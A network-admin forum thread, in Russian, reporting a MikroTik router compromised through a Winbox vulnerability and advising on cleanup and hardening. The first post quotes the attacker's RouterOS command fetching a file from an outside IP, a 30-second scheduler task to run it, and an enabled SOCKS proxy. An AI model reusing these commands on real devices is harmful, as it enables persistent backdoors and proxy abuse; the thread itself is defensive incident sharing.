Перейти до

Проверяем свои борды. опять ВЗЛОМ Mikrotik


Рекомендованные сообщения

Без лишних подробностей. ссыль

Очередной раз через уязвимость winbox на одной из последних прошивках 6.41.3 якобы безопасных был взломан микротик на раз-два!
Суть проблемы — вход злоумышленника через winbox с ip 95.154.216.160 абсолютно без проблем, в моём случае 2 неудачных попытки входа и 3-й успешный вход под второй учёткой со сложным паролем нигде не засвеченным.
Под этим логином не входили никогда, создана учётка про запас на случай потери основного пароля.
 

Далее после входа злоумышленник на микротике:

1. Создаёт скрипт script1_ 

/tool fetch address=95.154.216.160 port=2008 src-path=/mikrotik.php mode=http


2. Создаёт в планировщике задание каждые 30 секунд выполнять скрипт script1_
3. Включает IP-> Socks

/ip socks> print enabled: yes port: 4145 connection-idle-timeout: 2m max-connections: 200


Самое интересное то, что файл mikrotik.php пустой, либо это значит что это только предупреждение об уязвимости, либо всётаки конфиг ушёл в английское королевство.

Пока непонятно как такое могло быть?!

Что делать ели Ваш микротик взломан таким образом?

Надо изначально было не давать доступ к winbox из внешней сети, разрешить только с определённых айпи.

Удалить скрипт и задание планировщика.

Выключить носки) Ip->Socks

Менять пароли

Шиться новой прошивкой, но не факт что она уже есть с фиксом)

  • Thanks 2
Ссылка на сообщение
Поделиться на других сайтах

Я не понимаю вообще зачем давать доступ на авторизацию винбокс/хттп в микротике извне? Подымаете на микротике vpn - конектитесь на него, с него уже ходите по сети своей.

Ссылка на сообщение
Поделиться на других сайтах
  В 25.07.2018 в 09:39, Kto To сказав:

Я не понимаю вообще зачем давать доступ на авторизацию винбокс/хттп в микротике извне? Подымаете на микротике vpn - конектитесь на него, с него уже ходите по сети своей.

Expand  

Спору нет, методики взлома давно уже известны, но не все обновляются до фиксовых версий...

Ссылка на сообщение
Поделиться на других сайтах
  В 25.07.2018 в 09:39, Kto To сказав:

Я не понимаю вообще зачем давать доступ на авторизацию винбокс/хттп в микротике извне? Подымаете на микротике vpn - конектитесь на него, с него уже ходите по сети своей.

Expand  

Это на уровне админа, но их же домохозяйкам ставят. 

Ссылка на сообщение
Поделиться на других сайтах

Создайте аккаунт или войдите в него для комментирования

Вы должны быть пользователем, чтобы оставить комментарий

Создать аккаунт

Зарегистрируйтесь для получения аккаунта. Это просто!

Зарегистрировать аккаунт

Вхід

Уже зарегистрированы? Войдите здесь.

Войти сейчас
  • Зараз на сторінці   0 користувачів

    Немає користувачів, що переглядають цю сторінку.

  • Схожий контент

    • Від viktorrc17
      Є мікротік з білим ip 37.57.хх.хх Налаштований nat. Srcnat- masquerade
      Lan 192.168.0.1
      До нього підключено другий мікротік по dhcp 192.168.0.2 
      Налаштований nat. Srcnat- masquerade
      Lan 192.168.1.1
      До другого роутера підключено nanostation з адресою 192.168.1.5
      На першому мікротік прокинув порт на другій мікротік. ( Chain-dstnat.  Protocol-  tcp. Dst port 726.  Action - dst-nat. To adress 192.168.0.2  To ports 80)
      Доступ на другий мікротік по білому ір є. 
      Треба зробити доступ на nanostation з білого ір.
      Підкажіть, прописував по аналогії з першим мікротіком на 192.168.1.5. Нічого не вийшло
       
    • Від defence_k
      Військовій частині ЗСУ дуже потрібні старенькі MikroTik RB751U(G)-2HnD або аналогічні. Наявність блока живлення та стан корпуса байдуже, живитися будуть по РоЕ. RB951 теж годяться, проте в них гірший радіотракт . 
      Будемо вдячні за кожен пристрій.
      PS не відмовимося від фахової консультації з побудови CAPsMAN
    • Від Drader
      Продам маршрутизатор (роутер) Microtik CCR1036-8G-2S+



    • Від valexa
      Всех преветствую. Куплю, возможно какой то аналог микротик, предлогайте рассмотрю все варианты. Всем мира.
    • Від x-net
      Продам вживаний Mikrotik CRS326-24S+2Q+ : 24 порти 10Г, 2 порти 40Г, 2 блоки живлення. Прошу 15 тис.
×
×
  • Створити нове...